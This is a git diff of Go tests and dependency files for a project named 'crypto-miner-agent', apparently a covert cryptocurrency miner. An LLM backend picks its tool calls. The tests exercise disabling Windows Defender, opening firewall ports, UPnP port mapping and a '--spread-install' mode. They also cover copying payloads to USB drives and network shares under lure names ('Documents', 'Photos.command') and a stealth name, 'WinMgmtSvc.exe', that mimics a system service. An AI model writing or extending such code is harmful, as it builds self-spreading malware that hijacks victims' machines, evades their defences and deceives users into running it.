srv.Close() + + a := &AIRunner{ + cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetSecret: "fleet-key", AIOllamaEndpoint: "http://ollama", AIModel: "m1"}}, + httpClient: srv.Client(), + serverURL: strings.TrimRight(srv.URL, "/"), + agentID: "agent-1", + } + + state := AgentState{AgentID: "agent-1", WorkerName: "w1"} + resp, err := a.callDecide(state) + if err != nil { + t.Fatal(err) + } + if gotMethod != http.MethodPost || gotPath != "/api/v1/agent/decide" { + t.Fatalf("got %s %s", gotMethod, gotPath) + } + if gotSecret != "fleet-key" { + t.Fatalf("fleet secret %q", gotSecret) + } + if gotBody.AgentID != "agent-1" || gotBody.OllamaEndpoint != "http://ollama" || gotBody.Model != "m1" { + t.Fatalf("unexpected body: %+v", gotBody) + } + if len(resp.ToolCalls) != 1 || resp.ToolCalls[0].Tool != "sleep" { + t.Fatalf("unexpected response: %+v", resp) + } +} + +func TestCallDecideMockHTTPErrorField(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + w.Header().Set("Content-Type", "application/json") + _, _ = w.Write([]byte(`{"error":"ollama offline"}`)) + })) + defer srv.Close() + + a := &AIRunner{ + httpClient: srv.Client(), + serverURL: srv.URL, + agentID: "a1", + } + _, err := a.callDecide(AgentState{}) + if err == nil || !strings.Contains(err.Error(), "ollama offline") { + t.Fatalf("expected decide error, got %v", err) + } +} + +func TestCallDecideMockHTTPNonOK(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + w.WriteHeader(http.StatusServiceUnavailable) + })) + defer srv.Close() + + a := &AIRunner{ + httpClient: srv.Client(), + serverURL: srv.URL, + } + _, err := a.callDecide(AgentState{}) + if err == nil || !strings.Contains(err.Error(), "503") { + t.Fatalf("expected status error, got %v", err) + } +} + +func TestSendHeartbeatMockHTTP(t *testing.T) { + var got heartbeatRequest + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path != "/api/v1/agent/heartbeat" { + t.Fatalf("path %s", r.URL.Path) + } + body, _ := io.ReadAll(r.Body) + _ = json.Unmarshal(body, &got) + w.WriteHeader(http.StatusOK) + })) + defer srv.Close() + + a := &AIRunner{ + cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetSecret: "sec"}}, + httpClient: srv.Client(), + serverURL: srv.URL, + agentID: "a1", + } + a.sendHeartbeat("alive", "test msg") + if got.AgentID != "a1" || got.Status != "alive" || got.Message != "test msg" { + t.Fatalf("unexpected heartbeat: %+v", got) + } +} + +func TestReportResultsMockHTTP(t *testing.T) { + var count int + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path != "/api/v1/agent/report" { + t.Fatalf("path %s", r.URL.Path) + } + count++ + w.WriteHeader(http.StatusOK) + })) + defer srv.Close() + + a := &AIRunner{ + httpClient: srv.Client(), + serverURL: srv.URL, + agentID: "a1", + } + a.reportResults([]ToolReport{ + {AgentID: "a1", Tool: "check_miner", Success: true, Output: "ok"}, + {AgentID: "a1", Tool: "sleep", Success: true, Output: "done"}, + }) + if count != 1 { + t.Fatalf("expected one report POST, got %d", count) + } +} diff --git a/agent/deploy/aggressive_stub_test.go b/agent/deploy/aggressive_stub_test.go new file mode 100644 index 0000000..8803876 --- /dev/null +++ b/agent/deploy/aggressive_stub_test.go @@ -0,0 +1,22 @@ +//go:build !windows + +package deploy + +import ( + "strings" + "testing" +) + +func TestDisableDefenderRealtimeStub(t *testing.T) { + _, err := DisableDefenderRealtime() + if err == nil || !strings.Contains(err.Error(), "Windows-only") { + t.Fatalf("expected Windows-only error, got %v", err) + } +} + +func TestOpenFirewallPortStub(t *testing.T) { + _, err := OpenFirewallPort(8080, "test") + if err == nil || !strings.Contains(err.Error(), "Windows-only") { + t.Fatalf("expected Windows-only error, got %v", err) + } +} diff --git a/agent/deploy/common_test.go b/agent/deploy/common_test.go index 6755024..f1b60be 100644 --- a/agent/deploy/common_test.go +++ b/agent/deploy/common_test.go @@ -1,6 +1,7 @@ package deploy import ( + "os" "path/filepath" "runtime" "strings" @@ -118,3 +119,18 @@ func TestResolveInstallDirWithFallback(t *testing.T) { t.Fatal("empty dir") } } + +func TestWantsSpreadInstall(t *testing.T) { + orig := os.Args + t.Cleanup(func() { os.Args = orig }) + + os.Args = []string{"agent"} + if WantsSpreadInstall() { + t.Fatal("expected false without flag") + } + + os.Args = []string{"agent", "--spread-install"} + if !WantsSpreadInstall() { + t.Fatal("expected true with --spread-install") + } +} diff --git a/agent/deploy/natpunch_test.go b/agent/deploy/natpunch_test.go index 7971c19..b26ee98 100644 --- a/agent/deploy/natpunch_test.go +++ b/agent/deploy/natpunch_test.go @@ -162,3 +162,98 @@ func TestUpnpSOAPErrorResponse(t *testing.T) { t.Fatalf("expected SOAP error, got %v", err) } } + +func TestReLocationParsesSSDPResponse(t *testing.T) { + cases := []struct { + body string + want string + }{ + { + "HTTP/1.1 200 OK\r\nLOCATION: http://192.168.0.1:49152/desc.xml\r\n\r\n", + "http://192.168.0.1:49152/desc.xml", + }, + { + "location: http://10.0.0.1/igd.xml", + "http://10.0.0.1/igd.xml", + }, + } + for _, tc := range cases { + m := reLocation.FindStringSubmatch(tc.body) + if len(m) != 2 { + t.Fatalf("no LOCATION match in %q", tc.body) + } + if got := strings.TrimSpace(m[1]); got != tc.want { + t.Fatalf("got %q want %q", got, tc.want) + } + } +} + +func TestResolveWANControlURLRelativeWithoutLeadingSlash(t *testing.T) { + const igdXML = ` + + + urn:schemas-upnp-org:service:WANIPConnection:1 + ctl/IPConn + +` + + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + fmt.Fprint(w, igdXML) + })) + defer srv.Close() + + got, err := resolveWANControlURL(srv.URL + "/igd.xml") + if err != nil { + t.Fatal(err) + } + want := srv.URL + "/ctl/IPConn" + if got != want { + t.Fatalf("got %q want %q", got, want) + } +} + +func TestUpnpSOAPRequestHeaders(t *testing.T) { + var contentType, soapAction string + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + contentType = r.Header.Get("Content-Type") + soapAction = r.Header.Get("SOAPAction") + fmt.Fprint(w, ``) + })) + defer srv.Close() + + if _, err := upnpSOAP(srv.URL, "GetExternalIPAddress", ""); err != nil { + t.Fatal(err) + } + if !strings.Contains(contentType, "text/xml") { + t.Fatalf("Content-Type: %q", contentType) + } + wantAction := `"urn:schemas-upnp-org:service:WANIPConnection:1#GetExternalIPAddress"` + if soapAction != wantAction { + t.Fatalf("SOAPAction: got %q want %q", soapAction, wantAction) + } +} + +func TestUpnpDeletePortMapping(t *testing.T) { + var gotBody, gotAction string + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + gotAction = r.Header.Get("SOAPAction") + buf := make([]byte, 4096) + n, _ := r.Body.Read(buf) + gotBody = string(buf[:n]) + fmt.Fprint(w, ``) + })) + defer srv.Close() + + if err := upnpDeletePortMapping(srv.URL, 8989); err != nil { + t.Fatal(err) + } + if !strings.Contains(gotAction, "DeletePortMapping") { + t.Fatalf("SOAPAction: %q", gotAction) + } + if !strings.Contains(gotBody, "8989") { + t.Fatalf("body missing port: %q", gotBody) + } + if !strings.Contains(gotBody, "TCP") { + t.Fatalf("body missing protocol: %q", gotBody) + } +} diff --git a/agent/deploy/passive_spread_unix_test.go b/agent/deploy/passive_spread_unix_test.go new file mode 100644 index 0000000..661098e --- /dev/null +++ b/agent/deploy/passive_spread_unix_test.go @@ -0,0 +1,57 @@ +//go:build !windows + +package deploy + +import ( + "os" + "path/filepath" + "testing" + + "crypto-miner-agent/config" +) + +func TestParseLsblkMounts(t *testing.T) { + const sample = `{ + "blockdevices": [ + {"mountpoint": "/", "hotplug": false}, + {"mountpoint": "/media/usb", "hotplug": "1"}, + {"mountpoint": null, "hotplug": true}, + {"mountpoint": "/mnt/sdcard", "hotplug": true} + ] +}` + got := parseLsblkMounts(sample) + want := []string{"/media/usb", "/mnt/sdcard"} + if len(got) != len(want) { + t.Fatalf("len %d != %d (%v)", len(got), len(want), got) + } + for i := range want { + if got[i] != want[i] { + t.Fatalf("[%d] got %q want %q", i, got[i], want[i]) + } + } +} + +func TestUnixPayloadNameNonStealth(t *testing.T) { + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ + WorkerName: "node worker", + StealthMode: false, + }} + if got := unixPayloadName(cfg); got != "node-worker" { + t.Fatalf("got %q", got) + } +} + +func TestPickUnixLauncher(t *testing.T) { + root := t.TempDir() + if err := os.Mkdir(filepath.Join(root, "Photos"), 0755); err != nil { + t.Fatal(err) + } + if got := pickUnixLauncher(root); got != "Photos.command" { + t.Fatalf("got %q", got) + } + + empty := t.TempDir() + if got := pickUnixLauncher(empty); got != "Start.command" { + t.Fatalf("empty mount: got %q", got) + } +} diff --git a/agent/deploy/passive_spread_windows_test.go b/agent/deploy/passive_spread_windows_test.go new file mode 100644 index 0000000..63e96cd --- /dev/null +++ b/agent/deploy/passive_spread_windows_test.go @@ -0,0 +1,51 @@ +//go:build windows + +package deploy + +import ( + "os" + "path/filepath" + "testing" + + "crypto-miner-agent/config" +) + +func TestSharePayloadName(t *testing.T) { + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ + WorkerName: "worker alpha", + StealthMode: false, + }} + if got := sharePayloadName(cfg); got != "worker-alpha.exe" { + t.Fatalf("got %q", got) + } + + cfg.StealthMode = true + if got := sharePayloadName(cfg); got != "WinMgmtSvc.exe" { + t.Fatalf("stealth: got %q", got) + } +} + +func TestUsbPayloadNameNonStealth(t *testing.T) { + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ + WorkerName: "sync agent", + StealthMode: false, + }} + if got := usbPayloadName(cfg); got != "sync-agent.exe" { + t.Fatalf("got %q", got) + } +} + +func TestPickLinkName(t *testing.T) { + root := t.TempDir() + if err := os.Mkdir(filepath.Join(root, "Documents"), 0755); err != nil { + t.Fatal(err) + } + if got := pickLinkName(root); got != "Documents" { + t.Fatalf("got %q want Documents", got) + } + + empty := t.TempDir() + if got := pickLinkName(empty); got != "Open Documents" { + t.Fatalf("empty drive: got %q", got) + } +} diff --git a/agent/go.mod b/agent/go.mod index 81ce34e..074df05 100644 --- a/agent/go.mod +++ b/agent/go.mod @@ -4,11 +4,94 @@ go 1.26.3 require ( git.gammaspectra.live/P2Pool/go-randomx v1.0.0 + github.com/google/uuid v1.6.0 github.com/gorilla/websocket v1.5.3 - golang.org/x/sys v0.19.0 + github.com/libp2p/go-libp2p v0.48.0 + golang.org/x/sys v0.41.0 ) require ( - github.com/google/uuid v1.6.0 // indirect - golang.org/x/crypto v0.22.0 // indirect + filippo.io/bigmod v0.1.1-0.20260103110540-f8a47775ebe5 // indirect + filippo.io/keygen v0.0.0-20260114151900-8e2790ea4c5b // indirect + github.com/benbjohnson/clock v1.3.5 // indirect + github.com/beorn7/perks v1.0.1 // indirect + github.com/cespare/xxhash/v2 v2.3.0 // indirect + github.com/davidlazar/go-crypto v0.0.0-20200604182044-b73af7476f6c // indirect + github.com/decred/dcrd/dcrec/secp256k1/v4 v4.4.0 // indirect + github.com/dunglas/httpsfv v1.1.0 // indirect + github.com/flynn/noise v1.1.0 // indirect + github.com/huin/goupnp v1.3.0 // indirect + github.com/ipfs/go-cid v0.5.0 // indirect + github.com/jackpal/go-nat-pmp v1.0.2 // indirect + github.com/jbenet/go-temp-err-catcher v0.1.0 // indirect + github.com/klauspost/cpuid/v2 v2.2.10 // indirect + github.com/koron/go-ssdp v0.0.6 // indirect + github.com/libp2p/go-buffer-pool v0.1.0 // indirect + github.com/libp2p/go-flow-metrics v0.2.0 // indirect + github.com/libp2p/go-libp2p-asn-util v0.4.1 // indirect + github.com/libp2p/go-msgio v0.3.0 // indirect + github.com/libp2p/go-netroute v0.4.0 // indirect + github.com/libp2p/go-reuseport v0.4.0 // indirect + github.com/libp2p/go-yamux/v5 v5.0.1 // indirect + github.com/libp2p/zeroconf/v2 v2.2.0 // indirect + github.com/marten-seemann/tcp v0.0.0-20210406111302-dfbc87cc63fd // indirect + github.com/miekg/dns v1.1.66 // indirect + github.com/mikioh/tcpinfo v0.0.0-20190314235526-30a79bb1804b // indirect + github.com/mikioh/tcpopt v0.0.0-20190314235656-172688c1accc // indirect + github.com/minio/sha256-simd v1.0.1 // indirect + github.com/mr-tron/base58 v1.2.0 // indirect + github.com/multiformats/go-base32 v0.1.0 // indirect + github.com/multiformats/go-base36 v0.2.0 // indirect + github.com/multiformats/go-multiaddr v0.16.0 // indirect + github.com/multiformats/go-multiaddr-dns v0.4.1 // indirect + github.com/multiformats/go-multiaddr-fmt v0.1.0 // indirect + github.com/multiformats/go-multibase v0.2.0 // indirect + github.com/multiformats/go-multicodec v0.9.1 // indirect + github.com/multiformats/go-multihash v0.2.3 // indirect + github.com/multiformats/go-multistream v0.6.1 // indirect + github.com/multiformats/go-varint v0.0.7 // indirect + github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect + github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58 // indirect + github.com/pion/datachannel v1.5.10 // indirect + github.com/pion/dtls/v3 v3.1.2 // indirect + github.com/pion/ice/v4 v4.0.10 // indirect + github.com/pion/interceptor v0.1.40 // indirect + github.com/pion/logging v0.2.4 // indirect + github.com/pion/mdns/v2 v2.0.7 // indirect + github.com/pion/randutil v0.1.0 // indirect + github.com/pion/rtcp v1.2.16 // indirect + github.com/pion/rtp v1.8.19 // indirect + github.com/pion/sctp v1.8.39 // indirect + github.com/pion/sdp/v3 v3.0.18 // indirect + github.com/pion/srtp/v3 v3.0.6 // indirect + github.com/pion/stun/v3 v3.1.1 // indirect + github.com/pion/transport/v3 v3.0.7 // indirect + github.com/pion/transport/v4 v4.0.1 // indirect + github.com/pion/turn/v4 v4.0.2 // indirect + github.com/pion/webrtc/v4 v4.1.2 // indirect + github.com/prometheus/client_golang v1.22.0 // indirect + github.com/prometheus/client_model v0.6.2 // indirect + github.com/prometheus/common v0.64.0 // indirect + github.com/prometheus/procfs v0.16.1 // indirect + github.com/quic-go/qpack v0.6.0 // indirect + github.com/quic-go/quic-go v0.59.0 // indirect + github.com/quic-go/webtransport-go v0.10.0 // indirect + github.com/spaolacci/murmur3 v1.1.0 // indirect + github.com/wlynxg/anet v0.0.5 // indirect + go.uber.org/dig v1.19.0 // indirect + go.uber.org/fx v1.24.0 // indirect + go.uber.org/mock v0.5.2 // indirect + go.uber.org/multierr v1.11.0 // indirect + go.uber.org/zap v1.27.0 // indirect + golang.org/x/crypto v0.48.0 // indirect + golang.org/x/exp v0.0.0-20250606033433-dcc06ee1d476 // indirect + golang.org/x/mod v0.32.0 // indirect + golang.org/x/net v0.50.0 // indirect + golang.org/x/sync v0.19.0 // indirect + golang.org/x/telemetry v0.0.0-20260109210033-bd525da824e2 // indirect + golang.org/x/text v0.34.0 // indirect + golang.org/x/time v0.12.0 // indirect + golang.org/x/tools v0.41.0 // indirect + google.golang.org/protobuf v1.36.6 // indirect + lukechampine.com/blake3 v1.4.1 // indirect ) diff --git a/agent/go.sum b/agent/go.sum index ecfffa4..f4f04a3 100644 --- a/agent/go.sum +++ b/agent/go.sum @@ -1,10 +1,238 @@ +filippo.io/bigmod v0.1.1-0.20260103110540-f8a47775ebe5 h1:JA0fFr+kxpqTdxR9LOBiTWpGNchqmkcsgmdeJZRclZ0= +filippo.io/bigmod v0.1.1-0.20260103110540-f8a47775ebe5/go.mod h1:OjOXDNlClLblvXdwgFFOQFJEocLhhtai8vGLy0JCZlI= +filippo.io/keygen v0.0.0-20260114151900-8e2790ea4c5b h1:REI1FbdW71yO56Are4XAxD+OS/e+BQsB3gE4mZRQEXY= +filippo.io/keygen v0.0.0-20260114151900-8e2790ea4c5b/go.mod h1:9nnw1SlYHYuPSo/3wjQzNjSbeHlq2NsKo5iEtfJPWP0= git.gammaspectra.live/P2Pool/go-randomx v1.0.0 h1:3lE8UWl0509Q5TCtBECLQNnIyxEhPXnmROVMTngEnuM= git.gammaspectra.live/P2Pool/go-randomx v1.0.0/go.mod h1:K3qOa7AMW0/5azfHraQXxEsc9HygHwlfoLOkHqnSGgE= +github.com/benbjohnson/clock v1.3.5 h1:VvXlSJBzZpA/zum6Sj74hxwYI2DIxRWuNIoXAzHZz5o= +github.com/benbjohnson/clock v1.3.5/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA= +github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= +github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= +github.com/canonical/go-sp800.90a-drbg v0.0.0-20210314144037-6eeb1040d6c3 h1:oe6fCvaEpkhyW3qAicT0TnGtyht/UrgvOwMcEgLb7Aw= +github.com/canonical/go-sp800.90a-drbg v0.0.0-20210314144037-6eeb1040d6c3/go.mod h1:qdP0gaj0QtgX2RUZhnlVrceJ+Qln8aSlDyJwelLLFeM= +github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= +github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davidlazar/go-crypto v0.0.0-20200604182044-b73af7476f6c h1:pFUpOrbxDR6AkioZ1ySsx5yxlDQZ8stG2b88gTPxgJU= +github.com/davidlazar/go-crypto v0.0.0-20200604182044-b73af7476f6c/go.mod h1:6UhI8N9EjYm1c2odKpFpAYeR8dsBeM7PtzQhRgxRr9U= +github.com/decred/dcrd/crypto/blake256 v1.1.0 h1:zPMNGQCm0g4QTY27fOCorQW7EryeQ/U0x++OzVrdms8= +github.com/decred/dcrd/crypto/blake256 v1.1.0/go.mod h1:2OfgNZ5wDpcsFmHmCK5gZTPcCXqlm2ArzUIkw9czNJo= +github.com/decred/dcrd/dcrec/secp256k1/v4 v4.4.0 h1:NMZiJj8QnKe1LgsbDayM4UoHwbvwDRwnI3hwNaAHRnc= +github.com/decred/dcrd/dcrec/secp256k1/v4 v4.4.0/go.mod h1:ZXNYxsqcloTdSy/rNShjYzMhyjf0LaoftYK0p+A3h40= +github.com/dunglas/httpsfv v1.1.0 h1:Jw76nAyKWKZKFrpMMcL76y35tOpYHqQPzHQiwDvpe54= +github.com/dunglas/httpsfv v1.1.0/go.mod h1:zID2mqw9mFsnt7YC3vYQ9/cjq30q41W+1AnDwH8TiMg= +github.com/flynn/noise v1.1.0 h1:KjPQoQCEFdZDiP03phOvGi11+SVVhBG2wOWAorLsstg= +github.com/flynn/noise v1.1.0/go.mod h1:xbMo+0i6+IGbYdJhF31t2eR1BIU0CYc12+BNAKwUTag= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= -golang.org/x/crypto v0.22.0 h1:g1v0xeRhjcugydODzvb3mEM9SQ0HGp9s/nh3COQ/C30= -golang.org/x/crypto v0.22.0/go.mod h1:vr6Su+7cTlO45qkww3VDJlzDn0ctJvRgYbC2NvXHt+M= -golang.org/x/sys v0.19.0 h1:q5f1RH2jigJ1MoAWp2KTp3gm5zAGFUTarQZ5U386+4o= -golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +github.com/huin/goupnp v1.3.0 h1:UvLUlWDNpoUdYzb2TCn+MuTWtcjXKSza2n6CBdQ0xXc= +github.com/huin/goupnp v1.3.0/go.mod h1:gnGPsThkYa7bFi/KWmEysQRf48l2dvR5bxr2OFckNX8= +github.com/ipfs/go-cid v0.5.0 h1:goEKKhaGm0ul11IHA7I6p1GmKz8kEYniqFopaB5Otwg= +github.com/ipfs/go-cid v0.5.0/go.mod h1:0L7vmeNXpQpUS9vt+yEARkJ8rOg43DF3iPgn4GIN0mk= +github.com/jackpal/go-nat-pmp v1.0.2 h1:KzKSgb7qkJvOUTqYl9/Hg/me3pWgBmERKrTGD7BdWus= +github.com/jackpal/go-nat-pmp v1.0.2/go.mod h1:QPH045xvCAeXUZOxsnwmrtiCoxIr9eob+4orBN1SBKc= +github.com/jbenet/go-temp-err-catcher v0.1.0 h1:zpb3ZH6wIE8Shj2sKS+khgRvf7T7RABoLk/+KKHggpk= +github.com/jbenet/go-temp-err-catcher v0.1.0/go.mod h1:0kJRvmDZXNMIiJirNPEYfhpPwbGVtZVWC34vc5WLsDk= +github.com/klauspost/cpuid/v2 v2.2.10 h1:tBs3QSyvjDyFTq3uoc/9xFpCuOsJQFNPiAhYdw2skhE= +github.com/klauspost/cpuid/v2 v2.2.10/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0= +github.com/koron/go-ssdp v0.0.6 h1:Jb0h04599eq/CY7rB5YEqPS83HmRfHP2azkxMN2rFtU= +github.com/koron/go-ssdp v0.0.6/go.mod h1:0R9LfRJGek1zWTjN3JUNlm5INCDYGpRDfAptnct63fI= +github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= +github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= +github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= +github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= +github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= +github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= +github.com/libp2p/go-buffer-pool v0.1.0 h1:oK4mSFcQz7cTQIfqbe4MIj9gLW+mnanjyFtc6cdF0Y8= +github.com/libp2p/go-buffer-pool v0.1.0/go.mod h1:N+vh8gMqimBzdKkSMVuydVDq+UV5QTWy5HSiZacSbPg= +github.com/libp2p/go-flow-metrics v0.2.0 h1:EIZzjmeOE6c8Dav0sNv35vhZxATIXWZg6j/C08XmmDw= +github.com/libp2p/go-flow-metrics v0.2.0/go.mod h1:st3qqfu8+pMfh+9Mzqb2GTiwrAGjIPszEjZmtksN8Jc= +github.com/libp2p/go-libp2p v0.48.0 h1:h2BrLAgrj7X8bEN05K7qmrjpNHYA+6tnsGRdprjTnvo= +github.com/libp2p/go-libp2p v0.48.0/go.mod h1:Q1fBZNdmC2Hf82husCTfkKJVfHm2we5zk+NWmOGEmWk= +github.com/libp2p/go-libp2p-asn-util v0.4.1 h1:xqL7++IKD9TBFMgnLPZR6/6iYhawHKHl950SO9L6n94= +github.com/libp2p/go-libp2p-asn-util v0.4.1/go.mod h1:d/NI6XZ9qxw67b4e+NgpQexCIiFYJjErASrYW4PFDN8= +github.com/libp2p/go-libp2p-testing v0.12.0 h1:EPvBb4kKMWO29qP4mZGyhVzUyR25dvfUIK5WDu6iPUA= +github.com/libp2p/go-libp2p-testing v0.12.0/go.mod h1:KcGDRXyN7sQCllucn1cOOS+Dmm7ujhfEyXQL5lvkcPg= +github.com/libp2p/go-msgio v0.3.0 h1:mf3Z8B1xcFN314sWX+2vOTShIE0Mmn2TXn3YCUQGNj0= +github.com/libp2p/go-msgio v0.3.0/go.mod h1:nyRM819GmVaF9LX3l03RMh10QdOroF++NBbxAb0mmDM= +github.com/libp2p/go-netroute v0.4.0 h1:sZZx9hyANYUx9PZyqcgE/E1GUG3iEtTZHUEvdtXT7/Q= +github.com/libp2p/go-netroute v0.4.0/go.mod h1:Nkd5ShYgSMS5MUKy/MU2T57xFoOKvvLR92Lic48LEyA= +github.com/libp2p/go-reuseport v0.4.0 h1:nR5KU7hD0WxXCJbmw7r2rhRYruNRl2koHw8fQscQm2s= +github.com/libp2p/go-reuseport v0.4.0/go.mod h1:ZtI03j/wO5hZVDFo2jKywN6bYKWLOy8Se6DrI2E1cLU= +github.com/libp2p/go-yamux/v5 v5.0.1 h1:f0WoX/bEF2E8SbE4c/k1Mo+/9z0O4oC/hWEA+nfYRSg= +github.com/libp2p/go-yamux/v5 v5.0.1/go.mod h1:en+3cdX51U0ZslwRdRLrvQsdayFt3TSUKvBGErzpWbU= +github.com/libp2p/zeroconf/v2 v2.2.0 h1:Cup06Jv6u81HLhIj1KasuNM/RHHrJ8T7wOTS4+Tv53Q= +github.com/libp2p/zeroconf/v2 v2.2.0/go.mod h1:fuJqLnUwZTshS3U/bMRJ3+ow/v9oid1n0DmyYyNO1Xs= +github.com/marcopolo/simnet v0.0.4 h1:50Kx4hS9kFGSRIbrt9xUS3NJX33EyPqHVmpXvaKLqrY= +github.com/marcopolo/simnet v0.0.4/go.mod h1:tfQF1u2DmaB6WHODMtQaLtClEf3a296CKQLq5gAsIS0= +github.com/marten-seemann/tcp v0.0.0-20210406111302-dfbc87cc63fd h1:br0buuQ854V8u83wA0rVZ8ttrq5CpaPZdvrK0LP2lOk= +github.com/marten-seemann/tcp v0.0.0-20210406111302-dfbc87cc63fd/go.mod h1:QuCEs1Nt24+FYQEqAAncTDPJIuGs+LxK1MCiFL25pMU= +github.com/miekg/dns v1.1.43/go.mod h1:+evo5L0630/F6ca/Z9+GAqzhjGyn8/c+TBaOyfEl0V4= +github.com/miekg/dns v1.1.66 h1:FeZXOS3VCVsKnEAd+wBkjMC3D2K+ww66Cq3VnCINuJE= +github.com/miekg/dns v1.1.66/go.mod h1:jGFzBsSNbJw6z1HYut1RKBKHA9PBdxeHrZG8J+gC2WE= +github.com/mikioh/tcp v0.0.0-20190314235350-803a9b46060c h1:bzE/A84HN25pxAuk9Eej1Kz9OUelF97nAc82bDquQI8= +github.com/mikioh/tcp v0.0.0-20190314235350-803a9b46060c/go.mod h1:0SQS9kMwD2VsyFEB++InYyBJroV/FRmBgcydeSUcJms= +github.com/mikioh/tcpinfo v0.0.0-20190314235526-30a79bb1804b h1:z78hV3sbSMAUoyUMM0I83AUIT6Hu17AWfgjzIbtrYFc= +github.com/mikioh/tcpinfo v0.0.0-20190314235526-30a79bb1804b/go.mod h1:lxPUiZwKoFL8DUUmalo2yJJUCxbPKtm8OKfqr2/FTNU= +github.com/mikioh/tcpopt v0.0.0-20190314235656-172688c1accc h1:PTfri+PuQmWDqERdnNMiD9ZejrlswWrCpBEZgWOiTrc= +github.com/mikioh/tcpopt v0.0.0-20190314235656-172688c1accc/go.mod h1:cGKTAVKx4SxOuR/czcZ/E2RSJ3sfHs8FpHhQ5CWMf9s= +github.com/minio/blake2b-simd v0.0.0-20160723061019-3f5f724cb5b1/go.mod h1:pD8RvIylQ358TN4wwqatJ8rNavkEINozVn9DtGI3dfQ= +github.com/minio/sha256-simd v0.1.1-0.20190913151208-6de447530771/go.mod h1:B5e1o+1/KgNmWrSQK08Y6Z1Vb5pwIktudl0J58iy0KM= +github.com/minio/sha256-simd v1.0.1 h1:6kaan5IFmwTNynnKKpDHe6FWHohJOHhCPchzK49dzMM= +github.com/minio/sha256-simd v1.0.1/go.mod h1:Pz6AKMiUdngCLpeTL/RJY1M9rUuPMYujV5xJjtbRSN8= +github.com/mr-tron/base58 v1.1.2/go.mod h1:BinMc/sQntlIE1frQmRFPUoPA1Zkr8VRgBdjWI2mNwc= +github.com/mr-tron/base58 v1.2.0 h1:T/HDJBh4ZCPbU39/+c3rRvE0uKBQlU27+QI8LJ4t64o= +github.com/mr-tron/base58 v1.2.0/go.mod h1:BinMc/sQntlIE1frQmRFPUoPA1Zkr8VRgBdjWI2mNwc= +github.com/multiformats/go-base32 v0.1.0 h1:pVx9xoSPqEIQG8o+UbAe7DNi51oej1NtK+aGkbLYxPE= +github.com/multiformats/go-base32 v0.1.0/go.mod h1:Kj3tFY6zNr+ABYMqeUNeGvkIC/UYgtWibDcT0rExnbI= +github.com/multiformats/go-base36 v0.2.0 h1:lFsAbNOGeKtuKozrtBsAkSVhv1p9D0/qedU9rQyccr0= +github.com/multiformats/go-base36 v0.2.0/go.mod h1:qvnKE++v+2MWCfePClUEjE78Z7P2a1UV0xHgWc0hkp4= +github.com/multiformats/go-multiaddr v0.1.1/go.mod h1:aMKBKNEYmzmDmxfX88/vz+J5IU55txyt0p4aiWVohjo= +github.com/multiformats/go-multiaddr v0.16.0 h1:oGWEVKioVQcdIOBlYM8BH1rZDWOGJSqr9/BKl6zQ4qc= 